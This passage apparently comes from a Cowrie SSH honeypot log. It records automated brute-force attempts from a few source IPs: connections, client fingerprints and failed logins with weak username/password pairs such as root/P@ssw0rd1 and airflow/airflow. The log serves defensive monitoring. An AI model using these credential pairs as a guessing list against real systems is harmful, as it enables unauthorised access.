{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:24.705556Z","src_ip":"20.203.42.204","session":"2e4f78d7a69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:25.447827Z","src_ip":"20.203.42.204","session":"2e4f78d7a69c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:26.627331Z","src_ip":"20.203.42.204","session":"2e4f78d7a69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58468,"dst_ip":"159.203.135.109","dst_port":22,"session":"81cdfa5c8f86","protocol":"ssh","message":"New connection: 45.153.34.114:58468 (159.203.135.109:22) [session: 81cdfa5c8f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:27.164618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:27.171048Z","src_ip":"45.153.34.114","session":"81cdfa5c8f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:27.260657Z","src_ip":"45.153.34.114","session":"81cdfa5c8f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:27.607959Z","src_ip":"45.153.34.114","session":"81cdfa5c8f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:28.693662Z","src_ip":"45.153.34.114","session":"81cdfa5c8f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49554,"dst_ip":"159.203.135.109","dst_port":22,"session":"439aa7e3cc5b","protocol":"ssh","message":"New connection: 103.75.199.4:49554 (159.203.135.109:22) [session: 439aa7e3cc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:31.428792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:31.433488Z","src_ip":"103.75.199.4","session":"439aa7e3cc5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:31.524946Z","src_ip":"103.75.199.4","session":"439aa7e3cc5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:31.799831Z","src_ip":"103.75.199.4","session":"439aa7e3cc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:32.893468Z","src_ip":"103.75.199.4","session":"439aa7e3cc5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59450,"dst_ip":"159.203.135.109","dst_port":22,"session":"e72311f7c868","protocol":"ssh","message":"New connection: 45.153.34.114:59450 (159.203.135.109:22) [session: e72311f7c868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:35.249576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:35.258219Z","src_ip":"45.153.34.114","session":"e72311f7c868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:35.341980Z","src_ip":"45.153.34.114","session":"e72311f7c868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:35.652291Z","src_ip":"45.153.34.114","session":"e72311f7c868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:36.738404Z","src_ip":"45.153.34.114","session":"e72311f7c868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef2dbdf0379b","protocol":"ssh","message":"New connection: 45.153.34.114:42712 (159.203.135.109:22) [session: ef2dbdf0379b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:43.373810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:43.378200Z","src_ip":"45.153.34.114","session":"ef2dbdf0379b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:43.465039Z","src_ip":"45.153.34.114","session":"ef2dbdf0379b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:43.854262Z","src_ip":"45.153.34.114","session":"ef2dbdf0379b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:44.950009Z","src_ip":"45.153.34.114","session":"ef2dbdf0379b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59692,"dst_ip":"159.203.135.109","dst_port":22,"session":"5571cbdfbcb0","protocol":"ssh","message":"New connection: 45.153.34.114:59692 (159.203.135.109:22) [session: 5571cbdfbcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:51.156481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:51.187659Z","src_ip":"45.153.34.114","session":"5571cbdfbcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:51.353806Z","src_ip":"45.153.34.114","session":"5571cbdfbcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:51.623102Z","src_ip":"45.153.34.114","session":"5571cbdfbcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:52.711343Z","src_ip":"45.153.34.114","session":"5571cbdfbcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36982,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca8e9703686b","protocol":"ssh","message":"New connection: 103.75.199.4:36982 (159.203.135.109:22) [session: ca8e9703686b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:53.285985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:53.290176Z","src_ip":"103.75.199.4","session":"ca8e9703686b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:53.381114Z","src_ip":"103.75.199.4","session":"ca8e9703686b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:53.654351Z","src_ip":"103.75.199.4","session":"ca8e9703686b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:54.752433Z","src_ip":"103.75.199.4","session":"ca8e9703686b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebac8f52283c","protocol":"ssh","message":"New connection: 45.153.34.114:59712 (159.203.135.109:22) [session: ebac8f52283c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:59.095170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:59.104919Z","src_ip":"45.153.34.114","session":"ebac8f52283c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:59.181334Z","src_ip":"45.153.34.114","session":"ebac8f52283c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:44:59.516885Z","src_ip":"45.153.34.114","session":"ebac8f52283c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:00.607823Z","src_ip":"45.153.34.114","session":"ebac8f52283c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37282,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b9916c101b9","protocol":"ssh","message":"New connection: 45.153.34.114:37282 (159.203.135.109:22) [session: 1b9916c101b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:06.671911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:06.678381Z","src_ip":"45.153.34.114","session":"1b9916c101b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 